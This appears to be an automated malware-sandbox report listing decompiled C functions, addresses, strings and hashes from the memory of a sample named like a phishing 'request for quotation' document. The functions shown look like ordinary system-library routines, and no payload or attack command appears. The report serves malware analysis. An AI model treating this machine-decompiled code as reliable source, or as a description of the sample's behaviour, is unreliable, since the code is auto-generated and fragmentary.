0x00a4fae1
0x00a4fae4
0x00a4fae7
0x00a4faec
0x00a4faf8
0x00a4fb00
0x00a4fb07
0x00a4fb0f
0x00a4fb0f
0x00a4fb07
0x00000000
0x00a4faf8
0x00a4fadd

Strings

*** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!, xrefs: 00A8BE0F

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: *** ASSERT FAILED: Input parameter LanguagesBuffer for function RtlSetThreadPreferredUILanguages is not a valid multi-string!
API String ID: 0-865735534
Opcode ID: 43a93e57582416a4e843e3a90d1fdc39eeeffbd088260da54134f81661585a12
Instruction ID: 5eac8a5dca28f98b93ef16e2dda508f4e452ce35959775e634c9dfdfec63e2d1
Opcode Fuzzy Hash: 43a93e57582416a4e843e3a90d1fdc39eeeffbd088260da54134f81661585a12
Instruction Fuzzy Hash: 18A10335B00A1A9FDB25EF68C890BBAB3B4EF88710F144579E846DB691DB30DD41CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A4F0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00A4F0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E00A34120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E00A59830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E00A59990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E00A595D0();
							goto L11;
						} else {
							_t109 = L00A34620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E00A5F3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E00A595D0();
										L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x00a4f0d3
0x00a4f0d9
0x00a4f0e0
0x00a4f0e7
0x00a4f0f2
0x00a4f0f4
0x00a4f0f8
0x00a4f100
0x00a4f108
0x00a4f10d
0x00a4f115
0x00a4f116
0x00a4f11f
0x00a4f123
0x00a4f124
0x00a4f12c
0x00a4f130
0x00a4f134
0x00a4f13d
0x00a4f144
0x00a4f14b
0x00a4f152
0x00a8bab0
0x00a8bab0
0x00a4f158
0x00a4f158
0x00a4f15a
0x00a4f160
0x00a4f165
0x00a4f166
0x00a4f16f
0x00a4f173
0x00a8baa7
0x00a8baa7
0x00a8baab
0x00000000
0x00a4f179
0x00a4f18d
0x00a4f191
0x00a8baa2
0x00000000
0x00a4f197
0x00a4f19b
0x00a4f1a2
0x00a4f1a9
0x00a4f1af
0x00a4f1b2
0x00a4f1b6
0x00a4f1b9
0x00a4f1c4
0x00a4f1d8
0x00a4f1df
0x00a4f1e3
0x00a4f1eb
0x00a4f1ee
0x00a4f1f4
0x00a4f20f
0x00a8bab7
0x00a8babb
0x00a8bacc
0x00a8bad1
0x00a4f215
0x00a4f218
0x00a4f226
0x00a4f22b
0x00000000
0x00a4f22b
0x00a4f1f6
0x00a4f1f6
0x00a4f1f9
0x00a4f1fb
0x00a4f1fb
0x00a4f1f4
0x00a4f191
0x00a4f173
0x00a4f152
0x00a4f203

Strings

@, xrefs: 00A4F124

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 6da3f24d8151a07ea3be027c048092666cfa7d4a2b9b655ecb93acfd8a7ad309
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: F7518D715047109FC321DF19C841A6BBBF8FF88750F108A2EFA9597691E7B4E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00AE05AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00AE05AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(L00AE07DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(L00A59730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E00ADA80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E00ADA854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E00AE1293(_t79, _v40, L00AE07DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E00A37D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E00AD138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x00ae05c5
0x00ae05ca
0x00ae05d3
0x00ae06db
0x00ae06db
0x00ae06dd
0x00ae06e3
0x00ae06e3
0x00ae05dd
0x00ae05e7
0x00ae05f6
0x00ae0600
0x00ae0607
0x00ae0610
0x00ae0615
0x00ae061a
0x00ae061c
0x00ae061e
0x00ae0624
0x00ae0625
0x00ae0627
0x00ae0628
0x00ae0631
0x00ae0640
0x00ae064d
0x00ae0654
0x00ae0654
0x00ae0631
0x00ae066d
0x00ae0674
0x00000000
0x00000000
0x00ae0692
0x00ae069e
0x00ae06b0
0x00ae06a0
0x00ae06a9
0x00ae06a9
0x00ae06b8
0x00ae06d6
0x00ae06d6
0x00000000

Strings

`, xrefs: 00AE0633

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 284a8757ce369022be6f8f840a00293223b806288778a97e6fb90c66fc3a1785
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: E631F3322043856BE720DF26CD45F9B77D9EB84754F044229F954EB280E7B0ED54CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00A214A9, Relevance: 1.4, Strings: 1, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A214A9(void* __ecx, void* __edx, signed int* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int* _t62;
				intOrPtr _t64;
				intOrPtr _t66;
				signed int _t72;
				void* _t75;
				intOrPtr _t76;
				void* _t77;
				signed int _t79;

				_v12 = _v12 & 0x00000000;
				_t77 = __edx;
				_t75 = __ecx;
				if(__edx == 0 || __ecx == 0) {
					L24:
					return 0xc000000d;
				} else {
					_t62 = _a4;
					if(_t62 == 0) {
						goto L24;
					}
					_v16 =  *_t62;
					_t64 = L00A34620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 0xaa);
					_v20 = _t64;
					if(_t64 == 0) {
						return 0xc0000017;
					}
					_t45 =  *(_t77 + 6) & 0x0000ffff;
					if(( *(_t77 + 6) & 0x0000ffff) <= 0) {
						_v24 = _t64;
						_v28 = 0xaa0000;
						if(L00A23B30( *(_t77 + 4) & 0x0000ffff,  &_v28) != 0) {
							L6:
							_t76 = _a8;
							_t66 = _a12;
							if( *_t62 <= 0 ||  *_t62 > _t66) {
								L8:
								_t72 = _v16;
								_t20 = _t72 + 1; // 0x1
								_t79 = _t20 + ((_v28 & 0x0000ffff) >> 1);
								if(_t76 != 0) {
									if(_t72 >= _t79) {
										goto L9;
									}
									if(_t79 >= _t66) {
										L10:
										if(_t76 != 0) {
											_v12 = 0xc0000023;
										}
										L11:
										 *_t62 = _t79;
										goto L12;
									}
									E00A5F3E0(_t76 + _t72 * 2, _v24, _v28 & 0x0000ffff);
									 *((short*)(_t76 + _t79 * 2 - 2)) = 0;
									goto L11;
								}
								L9:
								if(_t79 < _t66) {
									goto L11;
								}
								goto L10;
							} else {
								if(L00A22E22(_v24,  *_t62) != 0) {
									L12:
									L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v20);
									return _v12;
								}
								_t66 = _a12;
								goto L8;
							}
						}
						_v12 = 0xc00000e5;
						goto L12;
					}
					E00A5BB40( *( *((intOrPtr*)( *((intOrPtr*)(_t75 + 0x18)) + 0xc)) + _t45 * 2),  &_v28,  *((intOrPtr*)( *((intOrPtr*)(_t75 + 0x18)) + 0x10)) +  *( *((intOrPtr*)( *((intOrPtr*)(_t75 + 0x18)) + 0xc)) + _t45 * 2) * 2);
					goto L6;
				}
			}

0x00a214b1
0x00a214b7
0x00a214ba
0x00a214be
0x00a76968
0x00000000
0x00a214cc
0x00a214cc
0x00a214d1
0x00000000
0x00000000
0x00a214d9
0x00a214f2
0x00a214f4
0x00a214f9
0x00000000
0x00a76946
0x00a214ff
0x00a21506
0x00a2157c
0x00a21584
0x00a21592
0x00a21525
0x00a21528
0x00a2152b
0x00a2152e
0x00a21538
0x00a21538
0x00a21541
0x00a21544
0x00a21548
0x00a2159b
0x00000000
0x00000000
0x00a2159f
0x00a2154e
0x00a21550
0x00a7695c
0x00a7695c
0x00a21556
0x00a21556
0x00000000
0x00a21556
0x00a215ad
0x00a215b7
0x00000000
0x00a215b7
0x00a2154a
0x00a2154c
0x00000000
0x00000000
0x00000000
0x00a215be
0x00a215cc
0x00a21558
0x00a21567
0x00000000
0x00a2156c
0x00a215ce
0x00000000
0x00a215ce
0x00a2152e
0x00a76950
0x00000000
0x00a76950
0x00a21520
0x00000000
0x00a21520

Strings

#, xrefs: 00A7695C

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: #
API String ID: 0-1885708031
Opcode ID: 7214fd34cf6f3db3f10b96e9e4271c303fd579c4ef9ef36f97b02541178c6b54
Instruction ID: 0982b0314e8fd3e5429199c4c762b0ae00b9779a1eae8c9f1357d2113382122e
Opcode Fuzzy Hash: 7214fd34cf6f3db3f10b96e9e4271c303fd579c4ef9ef36f97b02541178c6b54
Instruction Fuzzy Hash: 1441CF71A0062AEBCF20DF48D990BBEB7B5EFA5701F1041AAE956A7240D734DD41C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 00A44020, Relevance: 1.4, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00A44020(intOrPtr* _a4) {
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v28;
				char _v32;
				intOrPtr* _t43;
				char _t70;
				intOrPtr _t77;
				intOrPtr* _t79;

				_t79 = _a4;
				_t70 = 0;
				_t77 =  *[fs:0x30];
				_v32 = 0;
				_v28 = 0;
				_v12 = 0;
				 *((intOrPtr*)(_t79 + 4)) =  *((intOrPtr*)(_t77 + 0xa4));
				 *((intOrPtr*)(_t79 + 8)) =  *((intOrPtr*)(_t77 + 0xa8));
				 *(_t79 + 0xc) =  *(_t77 + 0xac) & 0x0000ffff;
				 *((intOrPtr*)(_t79 + 0x10)) =  *((intOrPtr*)(_t77 + 0xb0));
				_t43 =  *((intOrPtr*)(_t77 + 0x1f4));
				if(_t43 == 0 ||  *_t43 == 0) {
					 *((short*)(_t79 + 0x14)) = 0;
				} else {
					if(E00A24921(_t79 + 0x14, 0x100, _t43) < 0) {
						 *((short*)(_t79 + 0x14)) = 0;
					}
					_t70 = 0;
				}
				if( *_t79 != 0x11c) {
					if( *_t79 != 0x124) {
						goto L10;
					}
					goto L4;
				} else {
					L4:
					 *((short*)(_t79 + 0x114)) =  *(_t77 + 0xaf) & 0x000000ff;
					 *(_t79 + 0x116) =  *(_t77 + 0xae) & 0x000000ff;
					 *(_t79 + 0x118) = E00A44190();
					if( *_t79 == 0x124) {
						 *(_t79 + 0x11c) = E00A44190() & 0x0001ffff;
					}
					 *((char*)(_t79 + 0x11a)) = _t70;
					if(L00A44710( &_v16) != 0) {
						 *((char*)(_t79 + 0x11a)) = _v16;
					}
					E00A5BB40(0xff,  &_v32, L"TerminalServices-RemoteConnectionManager-AllowAppServerMode");
					_push( &_v24);
					_push(4);
					_push( &_v12);
					_push( &_v20);
					_push( &_v32);
					if(E00A5A9B0() < 0) {
						L10:
						return 0;
					} else {
						if(_v12 == 1) {
							if(_v20 != 4 || _v24 != 4) {
								goto L9;
							} else {
								goto L10;
							}
						}
						L9:
						 *(_t79 + 0x118) =  *(_t79 + 0x118) & 0x0000ffef | 0x00000100;
						if( *_t79 == 0x124) {
							 *(_t79 + 0x11c) =  *(_t79 + 0x11c) & 0xfffdffef | 0x00000100;
						}
						goto L10;
					}
				}
			}

0x00a4402a
0x00a4402d
0x00a44030
0x00a4403c
0x00a4403f
0x00a44042
0x00a4404b
0x00a44054
0x00a4405e
0x00a44067
0x00a4406a
0x00a44072
0x00a4407f
0x00a863db
0x00a863e8
0x00a863ec
0x00a863ec
0x00a863f0
0x00a863f0
0x00a44089
0x00a4414e
0x00000000
0x00000000
0x00000000
0x00a4408f
0x00a4408f
0x00a4409b
0x00a440ac
0x00a440bd
0x00a440c6
0x00a4415f
0x00a4415f
0x00a440cf
0x00a440dd
0x00a440e2
0x00a440e2
0x00a440f1
0x00a440f9
0x00a440fa
0x00a440ff
0x00a44103
0x00a44107
0x00a4410f
0x00a4413f
0x00a44145
0x00a44111
0x00a44115
0x00a863fb
0x00000000
0x00a8640b
0x00000000
0x00a8640b
0x00a863fb
0x00a4411b
0x00a44132
0x00a4413b
0x00a44177
0x00a44177
0x00000000
0x00a4413b
0x00a4410f

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 00A440E8

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 0-996340685
Opcode ID: 90d8360b15033cffbe2c2d851efaba2f66450dd3e9d98c95e5f816604b109133
Instruction ID: d4f4bd299fd1e5a5944048f89d315e2dec9c5b18ed1c65f408ffa247a20c9692
Opcode Fuzzy Hash: 90d8360b15033cffbe2c2d851efaba2f66450dd3e9d98c95e5f816604b109133
Instruction Fuzzy Hash: 35416279A0074A9AD724DFB8C4417E6F7F4EF9D300F10492ED6AAC7640E334A595CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00A93884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00A93884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = L00A59650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L00A34620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = L00A59650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x00a93893
0x00a93896
0x00a93899
0x00a9389f
0x00a938a0
0x00a938a4
0x00a938a9
0x00a938ac
0x00a938ad
0x00a938ae
0x00a938af
0x00a938b1
0x00a938b4
0x00a938bb
0x00a938bc
0x00a938bd
0x00a938c4
0x00a938c8
0x00a938ca
0x00a938ca
0x00a938d5
0x00a9393e
0x00a93940
0x00a93942
0x00a93952
0x00a93954
0x00a93961
0x00a93961
0x00a93967
0x00a9396e
0x00a9396e
0x00a93947
0x00a9394c
0x00000000
0x00a9394c
0x00a938ea
0x00a938ee
0x00a938f8
0x00a938f9
0x00a938ff
0x00a93900
0x00a93902
0x00a93903
0x00a9390b
0x00a9390f
0x00a93950
0x00000000
0x00a93950
0x00a93915
0x00a9391d
0x00a9391d
0x00a93922
0x00a93926
0x00000000
0x00a93928
0x00a9392b
0x00a9392b
0x00a93935
0x00a93937
0x00a93937
0x00000000
0x00a93935
0x00a93926
0x00a938f0
0x00000000

Strings

BinaryName, xrefs: 00A938B4

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 5ad894a54f64a9cf3e02a43658272f630190abd763f703319bbfeedf8c9a7ccd
Instruction ID: 30186333c8366e7d4120587d553c95a4d0b1b72e0fae9687e91c41ade18a1c94
Opcode Fuzzy Hash: 5ad894a54f64a9cf3e02a43658272f630190abd763f703319bbfeedf8c9a7ccd
Instruction Fuzzy Hash: DF312173A01519AFEF15CB59C955E7FB7B4EB80B20F118129F914A7240D7709F04C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E00A4D294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0xb0d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E00A34120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return L00A5B640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E00A598D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E00A595D0();
					L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x00a4d29c
0x00a4d2a6
0x00a4d2b1
0x00a4d2b5
0x00a4d2b6
0x00a4d2bc
0x00a4d2bd
0x00a4d2be
0x00a4d2bf
0x00a4d2c2
0x00a4d2c4
0x00a4d2cc
0x00a4d384
0x00a4d34b
0x00a4d34f
0x00a4d350
0x00a4d351
0x00a4d35c
0x00a4d35c
0x00a4d2d6
0x00a4d2da
0x00a4d2e1
0x00a4d361
0x00a4d369
0x00a4d36d
0x00a4d2e3
0x00a4d2e3
0x00a4d2e3
0x00a4d2e5
0x00a4d2ed
0x00a4d2f5
0x00a4d2fa
0x00a4d302
0x00a4d303
0x00a4d30b
0x00a4d30f
0x00a4d313
0x00a4d318
0x00a4d31c
0x00a4d320
0x00a4d379
0x00a4d37d
0x00000000
0x00000000
0x00a8affe
0x00a8b001
0x00a8b011
0x00000000
0x00a4d322
0x00a4d322
0x00a4d330
0x00a4d337
0x00a4d35d
0x00a4d339
0x00a4d33f
0x00a4d38c
0x00a4d38c
0x00a4d33f
0x00a4d349
0x00000000
0x00a4d349

Strings

@, xrefs: 00A4D303

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 6f28b2c1064c35c41ddbeb7d94a248aca6849e32931bb556d4aede4eae742840
Instruction ID: b4c642cb00e516d437b95fc3a4d0d4715936b2a1ef0e854d21de2ec2b0ecd139
Opcode Fuzzy Hash: 6f28b2c1064c35c41ddbeb7d94a248aca6849e32931bb556d4aede4eae742840
Instruction Fuzzy Hash: B0317EB95083059FC321DF28C98196BBBE8EBD5754F10092EF99497250E734ED08DB93

Uniqueness

Uniqueness Score: -1.00%

Function 00A21B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00A21B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E00A5BB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E00A5A9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E00A5A9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L00A34620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x00a21b8f
0x00a21b9a
0x00a21b9c
0x00a21b9e
0x00a21ba3
0x00a77010
0x00a77010
0x00000000
0x00a21ba9
0x00a21ba9
0x00a21bae
0x00000000
0x00a21bc5
0x00a21bca
0x00a21bcf
0x00a21bd0
0x00a21bd1
0x00a21bd2
0x00a21bd6
0x00a21bdc
0x00a21be0
0x00a76ffc
0x00a77000
0x00000000
0x00a77006
0x00a77009
0x00a77009
0x00a21be6
0x00a21bec
0x00a21c0b
0x00a21c0b
0x00a21c0c
0x00a21c11
0x00a21c12
0x00a21c15
0x00a21c1b
0x00a21c1f
0x00a21c31
0x00a21c33
0x00a77026
0x00a77026
0x00a21c21
0x00a21c24
0x00a21c24
0x00a21bee
0x00a21bee
0x00a21bf2
0x00a21c3a
0x00a21bf4
0x00a21bf4
0x00a21c05
0x00a21c05
0x00a21c09
0x00a21c3e
0x00000000
0x00000000
0x00000000
0x00a21c09
0x00a21bec
0x00a21be0
0x00a21bae
0x00a21c2e

Strings

WindowsExcludedProcs, xrefs: 00A21BC5

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: WindowsExcludedProcs
